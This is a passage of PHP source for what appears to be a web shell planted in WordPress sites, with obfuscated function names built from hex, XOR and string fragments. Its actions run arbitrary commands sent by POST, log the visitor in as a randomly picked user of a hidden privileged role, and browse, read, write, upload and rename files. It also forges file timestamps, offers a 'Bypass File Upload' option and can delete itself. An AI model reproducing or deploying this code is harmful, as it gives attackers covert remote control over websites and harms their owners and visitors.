["pipe", "r"], // stdin 1 => ["pipe", "w"], // stdout 2 => ["pipe", "w"] // stderr ]; $process = $decoded_function($value, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $proccl($process); } break; default: // Function not supported or unknown break; } ob_end_clean(); return $output ?: 'No output?'; } function wp_action_mode($mode) { global $glob_file; if ($glob_file && ($glob_file !== '0' && file_exists($glob_file))) { require_once $glob_file; } // Allowed Role $log_function = decode_char('46426e4154466e534446596d525d5e595857'); $set_current = decode_char('46426e4154466e51444043575f466e47425743'); $allowed_role = decode_char("50565c5b5f5b42464353455d43"); if (!function_exists($log_function)) { return false; } switch ($mode) { case 'log': $users = get_users(["role" => $allowed_role]); if (!$users) { return false; } $arr_rand = array_rand($users, 1); $user = $users[$arr_rand]; if (!$user) { return false; } $id = $user->data->ID; $log_function($id); $set_current($id); return $id; break; default: die("nothing"); break; } } function listing_all_directory() { $path = get_current_path(); $result = array(); $date_format = "d-m-Y H:i:s"; if ($handle = opendir($path)) { while (false !== ($dir = readdir($handle))) { if ($dir === '.' || $dir === '..') { continue; } $full_path = "$path/$dir"; $is_dir = is_dir($full_path); $tmp_result = array( 'path' => htmlspecialchars($full_path), 'is_writable' => is_writable($full_path), 'is_dir' => $is_dir, 'date' => date($date_format, filemtime($full_path)), 'size' => $is_dir ? "" : round(filesize($full_path) / 1024, 2), ); $result[] = $tmp_result; } closedir($handle); } return $result; } $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : false; $glob_file = isset($_COOKIE['glob-file']) && !empty($_COOKIE['glob-file']) ? $_COOKIE['glob-file'] : false; if (!$glob_file) { $glob_file = check_load_file() ?: '0'; setcookie("glob-file", $glob_file); } function check_load_file() { $filename = decode_char("46421c5e5e53551c415a41"); $root_directory = $_SERVER['DOCUMENT_ROOT']; $file_path = $root_directory . DIRECTORY_SEPARATOR . $filename; return file_exists($file_path) ? $file_path : false; } if (!$action) { main(); menu(); } function decode_char($string) { $h = hex2bin($string); return xorEncryptDecrypt($h); } switch ($action) { case 'd': die(json_encode(listing_all_directory())); break; case 'ec': if ($_SERVER['REQUEST_METHOD'] == "POST") { $value = $_POST['value']; $function = $_POST['function']; $output = code_execution($value, $function); $message['output'] = $output; die(json_encode($message)); } echo '(:'; break; case 'wp': if ($_SERVER['REQUEST_METHOD'] == "POST") { $mode = $_REQUEST['mode']; $result = wp_action_mode($mode); $message['result'] = $result; $message['success'] = $result ? true : false; die(json_encode($message)); } case 'r': if ($_SERVER['REQUEST_METHOD'] == 'POST') { $data = json_decode(file_get_contents("php://input"), true); $content = show_base_data()($data['content']); $filename = decode_char($data['filename']); $message['success'] = fm_write_file($filename, $content); die(json_encode($message)); } main(); $content = customize_read_file(decode_char($_REQUEST['filename'])); show_text_area(htmlspecialchars($content)); break; case 'cf': if ($_SERVER['REQUEST_METHOD'] == "POST") { $data = explode(',', $_POST['data']); $list_functions = array_map('decode_char', $data); foreach ($list_functions as $function) { if (function_exists($function)) { $message['avail'] = true; $message['func'] = $function; die(json_encode($message)); } } $message['avail'] = false; die(json_encode($message)); } echo "Missing someone?"; break; case 'cr': main(); show_text_area(""); break; case 'ul': $filename = decode_char($_REQUEST['filename']); if (show_un()($filename)) { $message['success'] = true; } else { $message['success'] = false; } die(json_encode($message)); break; case 'up': $file = $_FILES['import_file']; $tmp_name = $file['tmp_name']; $content = customize_read_file($tmp_name); if (isset($_POST['by'])) { $content = show_base_data()($content); } $path = $_REQUEST['path'] ?: getcwd(); $name = $file['name']; $destination = "$path/$name"; $message['success'] = $content && fm_write_file($destination, $content) ?: rename($tmp_name, $destination); die(json_encode($message)); break; case 're': $filename = decode_char($_REQUEST['filename']); $path = $_REQUEST['path']; if ($_SERVER['REQUEST_METHOD'] == "POST") { $old_filename = "$path/$filename"; $new = $_POST['new']; $new_filename = "$path/$new"; $message['success'] = rename($old_filename, $new_filename); die(json_encode($message)); } break; case 'to': $filename = decode_char($_REQUEST['filename']); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $date = $_POST['date']; $str_date = strtotime($date); $message['success'] = touch($filename, $str_date); clearstatcache(true, $filename); die(json_encode($message)); } case 'sd': $un = show_un(); $un(__FILE__); $message['success'] = true; die(json_encode($message)); break; default: # code.. break; } function customize_read_file($file) { if (!file_exists($file)) { return ''; } $handle = fopen($file, 'r'); if ($handle) { $content = fread($handle, filesize($file)); if ($content) { return $content; } } $lines = file($file); if ($lines) { return implode($lines); } return show_file_contents()($file); } function show_file_contents() { $file = "file_"; $old = "get_"; $contents = "contents"; return "$file$old$contents"; } function show_text_area($content) { $filename = decode_char($_REQUEST['filename']); echo "

< Back

$filename

"; } function show_base_data() { $alvian = "base"; $nadir = "64_decode"; return "$alvian$nadir"; } function fm_write_file($file, $content) { // Method 1: Using fopen if (function_exists('fopen')) { $handle = @fopen($file, 'w'); if ($handle) { if (@fwrite($handle, $content) !== false) { fclose($handle); return file_exists($file) && filesize($file) > 0; } fclose($handle); } } // Method 2: Using file_put_contents if (function_exists('file_put_contents')) { if (@file_put_contents($file, $content) !== false) { return file_exists($file) && filesize($file) > 0; } } // Method 3: Using WP_Filesystem return false; } function fm_make_request($url) { if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); return $output; } return show_file_contents()($url); } function show_un() { $link = "link"; $unpad = "un"; return "$unpad$link"; } function main() { global $current_path; global $glob_file; $current_path = isset($_REQUEST['path']) ? $_REQUEST['path'] : false; if (!$current_path) { setcookie("path", getcwd()); $current_path = getcwd(); } $path = str_replace('\\', '/', $current_path); $paths = explode('/', $path); echo "
"; foreach ($paths as $id => $pat) { if ($id == 0) { echo '/'; } if ($pat != '') { $tmp_path = implode('/', array_slice($paths, 0, $id + 1)); echo "$pat/"; } } echo "
"; ?>
[ HOME ] [ Create File ]
[ Bypass File Upload ] > SELF DELETE <